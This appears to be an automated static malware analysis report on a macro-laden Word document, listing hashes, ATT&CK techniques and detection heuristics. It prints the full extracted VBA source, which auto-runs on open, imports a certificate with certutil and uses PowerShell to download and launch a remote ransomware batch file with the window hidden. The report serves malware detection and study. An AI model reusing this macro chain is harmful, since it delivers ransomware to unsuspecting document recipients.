Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7e4670540c176586…

MALICIOUS

Office (OOXML)

22.0 KB Created: 2017-09-13 12:58:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-04
MD5: 68703d8cedb9a7eb60e981edf3139600 SHA-1: c51afd15c9094315807afa271037295eb001d5f4 SHA-256: 7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening, leveraging WScript.Shell to run commands. The AutoOpen macro initiates a chain of execution: first, it uses certutil.exe to import a PFX file, then it downloads and executes a batch script from 'http://www.huikeshoven.net/rWareSample/execute-ransomware.bat'. This batch script is responsible for downloading and executing the final ransomware payload.

Heuristics 10

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    'exec = "powershell.exe -File " & userprofile & "\Downloads\rWareSamples\import-cert.ps1"
exec = windir & "\System32\certutil.exe -f -p password -importpfx " & userprofile & "\Downloads\rWareSamples\artifact-testing.pfx"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    'exec = "powershell.exe -File " & userprofile & "\Downloads\rWareSamples\import-cert.ps1"
exec = windir & "\System32\certutil.exe -f -p password -importpfx " & userprofile & "\Downloads\rWareSamples\artifact-testing.pfx"
oShell.Run exec, DontShowWindow, DontWaitUntilFinished
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    'Different version of word use a different auto-exec method to run on document open
Call AutoOpen
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
'Different version of word use a different auto-exec method to run on document open
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.huikeshoven.net/rWareSample/execute-ransomware.bat In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1504 bytes
SHA-256: e6e0533808be60c4a18917f4790c85036a648ae53faf60bbf604e3c7a5aad340
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub Auto_Open()
'Different version of word use a different auto-exec method to run on document open
Call AutoOpen

End Sub

Sub AutoOpen()

'Start the Ransomware
Call WhoLetTheCatout

End Sub

Sub WhoLetTheCatout()
Const DontWaitUntilFinished = False, Showwindow = 1, WaitUntilFinished = True
Dim exec As String

userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")
Set oShell = CreateObject("WScript.Shell")

'exec = "powershell.exe -File " & userprofile & "\Downloads\rWareSamples\import-cert.ps1"
exec = windir & "\System32\certutil.exe -f -p password -importpfx " & userprofile & "\Downloads\rWareSamples\artifact-testing.pfx"
oShell.Run exec, DontShowWindow, DontWaitUntilFinished

exec = "powershell IEX (New-Object Net.WebClient).DownloadFile('http://www.huikeshoven.net/rWareSample/execute-ransomware.bat', '" & userprofile & "\Downloads\execute-ransomware.bat')"
oShell.Run exec, DontShowWindow, WaitUntilFinished

exec = userprofile & "\Downloads\execute-ransomware.bat"
oShell.Run exec, DontShowWindow, WaitUntilFinished

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: a7f797430a810cb0ba4e59ae469aed1a7659bec6d3841121b34cc6d9f357b88b
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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